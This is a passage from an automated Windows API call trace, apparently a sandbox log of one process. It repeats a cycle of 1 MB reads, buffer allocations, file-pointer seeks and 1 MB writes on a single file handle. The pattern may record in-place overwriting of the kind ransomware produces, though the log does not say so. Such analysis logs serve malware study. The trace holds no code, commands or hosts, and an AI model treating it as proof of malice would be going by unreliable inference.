	[0102.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.644] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.648] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.648] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.650] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.653] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.658] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.670] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.760] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.763] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.763] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.764] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.767] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.775] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.780] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.798] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.801] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.801] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.803] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.807] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.812] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.818] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.833] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.835] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.836] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.837] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.840] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.848] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.858] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.883] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.887] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.887] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.889] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.892] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.899] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.905] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.918] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.921] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.921] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.923] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.926] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.933] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.948] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0102.969] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.972] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.972] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0102.974] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0102.977] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0102.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0102.994] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.008] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.011] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.011] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.013] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.017] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.026] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.038] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.062] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.066] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.066] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.067] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.070] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.076] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.086] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.105] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.108] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.109] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.111] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.116] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.124] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.137] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.152] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.162] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.162] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.164] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.167] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.173] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.198] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.201] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.201] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.203] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.205] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.213] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.246] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.249] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.249] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.251] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.254] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.270] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.285] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.288] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.288] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.290] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.293] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.320] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.340] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.344] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.344] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.347] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.352] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.361] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.389] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.393] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.393] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.395] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.398] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.410] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.441] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.444] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.444] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.446] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.449] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.454] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.466] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.481] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.484] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.484] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.486] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.488] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.497] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.506] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.529] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.533] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.533] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.535] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.538] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.543] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.553] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.568] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.571] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.571] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.573] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.576] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.583] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.608] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.622] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.625] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.625] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.627] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.630] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.635] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.645] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.660] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.663] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.663] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.664] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.667] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.779] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.807] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.864] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.867] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.867] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.869] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.873] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0103.881] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0103.893] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0103.914] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0103.917] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.918] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0103.920] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
